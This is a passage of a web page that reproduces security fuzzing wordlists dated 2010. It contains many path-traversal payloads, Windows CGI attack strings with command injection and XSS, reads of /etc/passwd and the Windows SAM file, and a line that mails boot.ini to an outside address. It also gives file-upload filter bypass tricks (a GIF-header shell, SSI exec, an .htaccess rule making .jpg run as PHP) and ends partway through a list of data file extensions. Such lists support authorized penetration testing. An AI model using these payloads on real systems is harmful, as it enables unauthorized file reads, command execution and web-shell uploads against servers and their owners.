%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> ///%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> \\\%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..//{FILE}<br /> ..//..//{FILE}<br /> ..//..//..//{FILE}<br /> ..//..//..//..//{FILE}<br /> ..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//..//{FILE}<br /> ..///{FILE}<br /> ..///..///{FILE}<br /> ..///..///..///{FILE}<br /> ..///..///..///..///{FILE}<br /> ..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///..///{FILE}<br /> ..\\{FILE}<br /> ..\\..\\{FILE}<br /> ..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\\{FILE}<br /> ..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ./\/./{FILE}<br /> ./\/././\/./{FILE}<br /> ./\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> .\/\.\{FILE}<br /> .\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\..\{FILE}<br /> ./../{FILE}<br /> ./.././../{FILE}<br /> ./.././.././../{FILE}<br /> ./.././.././.././../{FILE}<br /> ./.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././.././../{FILE}<br /> .\..\{FILE}<br /> .\..\.\..\{FILE}<br /> .\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .//..//{FILE}<br /> .//..//.//..//{FILE}<br /> .//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .\\..\\{FILE}<br /> .\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> ../{FILE}<br /> ../..//{FILE}<br /> ../..//../{FILE}<br /> ../..//../..//{FILE}<br /> ../..//../..//../{FILE}<br /> ../..//../..//../..//{FILE}<br /> ../..//../..//../..//../{FILE}<br /> ../..//../..//../..//../..//{FILE}<br /> ..\{FILE}<br /> ..\..\\{FILE}<br /> ..\..\\..\{FILE}<br /> ..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\{FILE}<br /> ..///{FILE}<br /> ../..///{FILE}<br /> ../..//..///{FILE}<br /> ../..//../..///{FILE}<br /> ../..//../..//..///{FILE}<br /> ../..//../..//../..///{FILE}<br /> ../..//../..//../..//..///{FILE}<br /> ../..//../..//../..//../..///{FILE}<br /> ..\\\{FILE}<br /> ..\..\\\{FILE}<br /> ..\..\\..\\\{FILE}<br /> ..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\\{FILE}<br /> &lt;/pre&gt;<br /> <br /> === Common Windows CGI (Update: 17 March 2010 - Total Statements: 76) ===<br /> &lt;pre&gt;# Common Windows CGI (Update: 17 March 2010 <br /> # fuzz inside executable directories<br /> # on windows, this is usually /scripts or /cgi-bin<br /> # adam.muntner@quietmove.com<br /> <br /> cart32.exe<br /> get32.exe<br /> visadmin.exe<br /> foxweb.exe<br /> webplus.exe?about<br /> fpsrvadm.exe<br /> MsmMask.exe<br /> cmd.exe?/c+dir<br /> cmd1.exe?/c+dir<br /> post32.exe|dir%20c:\\<br /> cgitest.exe<br /> hpnst.exe?c=p+i=<br /> Pbcgi.exe<br /> testcgi.exe<br /> webfind.exe?keywords=01234567890123456789<br /> redir.exe?URL=http%3A%2F%2Fwww%2Egoogle%2Ecom%2F%0D%0A%0D%0A%3C<br /> test-cgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> athcgi.exe?command=showpage&amp;script='],[0,0]];alert('Vulnerable');a=[['<br /> mkilog.exe<br /> mkplog.exe<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> perl.exe?-v<br /> perl.exe<br /> ppdscgi.exe<br /> c32web.exe/ChangeAdminPassword<br /> windmail.exe<br /> dbmlparser.exe<br /> cgimail.exe<br /> minimal.exe<br /> rguest.exe<br /> visitor.exe<br /> webbbs.exe<br /> wguest.exe<br /> /_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15<br /> cfgwiz.exe<br /> Cgitest.exe<br /> mailform.exe<br /> post16.exe<br /> imagemap.exe<br /> htimage.exe/path/filename?2,2<br /> htimage.exe<br /> Webnews.exe<br /> texis.exe/junk<br /> apexec.pl?etype=odp&amp;template=../../../../../../../../../../etc/passwd%00.html&amp;passurl=/category/<br /> sensepost.exe?/c+dir<br /> testcgi.exe<br /> testcgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> ion-p.exe?page=c:\winnt\repair\sam<br /> ../../../../../../../../../../WINNT/system32/ipconfig.exe<br /> NUL/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> PRN/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> c32web.exe/GetImage?ImageName=CustomerEmail.txt%00.pdf <br /> foxweb.dll<br /> wconsole.dll<br /> shtml.dll<br /> scripts/slxweb.dll/getfile?type=Library&amp;file=[invalid filename]<br /> rightfax/fuwww.dll/?<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%20Hacker@hax0r.com%20|%20dir%20c:\\<br /> GW5/GWWEB.EXE<br /> GW5/GWWEB.EXE?GET-CONTEXT&amp;HTMLVER=AAA<br /> GW5/GWWEB.EXE?HELP=bad-request<br /> GWWEB.EXE?HELP=bad-request<br /> echo.bat<br /> echo.bat?&amp;dir+c:\\<br /> hello.bat?&amp;dir+c:\\<br /> input.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> input2.bat?|dir<br /> input2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> test-cgi.bat<br /> test.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> tst.bat|dir%20..\\..\\..\\..\\..\\..\\..\\..\\,<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass (Update: 17 March 2010 - Total Statements: 4) ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htaccess in an upload folder on Apache httpd, try setting .jpg to executable. If you can set the target directory, try fuzz the list of all dirs you've enumberated on the servers, and try the commonly writable directory fuzzfile.<br /> #<br /> # example .htaccess that sets mime type .jpg to be executable:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 2) ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2010<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7) ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2010 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> <br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 14) ===<br /> &lt;pre&gt;# Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> <br /> === Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9) ===<br /> &lt;pre&gt;#Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2010) <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863) ===<br /> &lt;pre&gt;<br /> #Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br 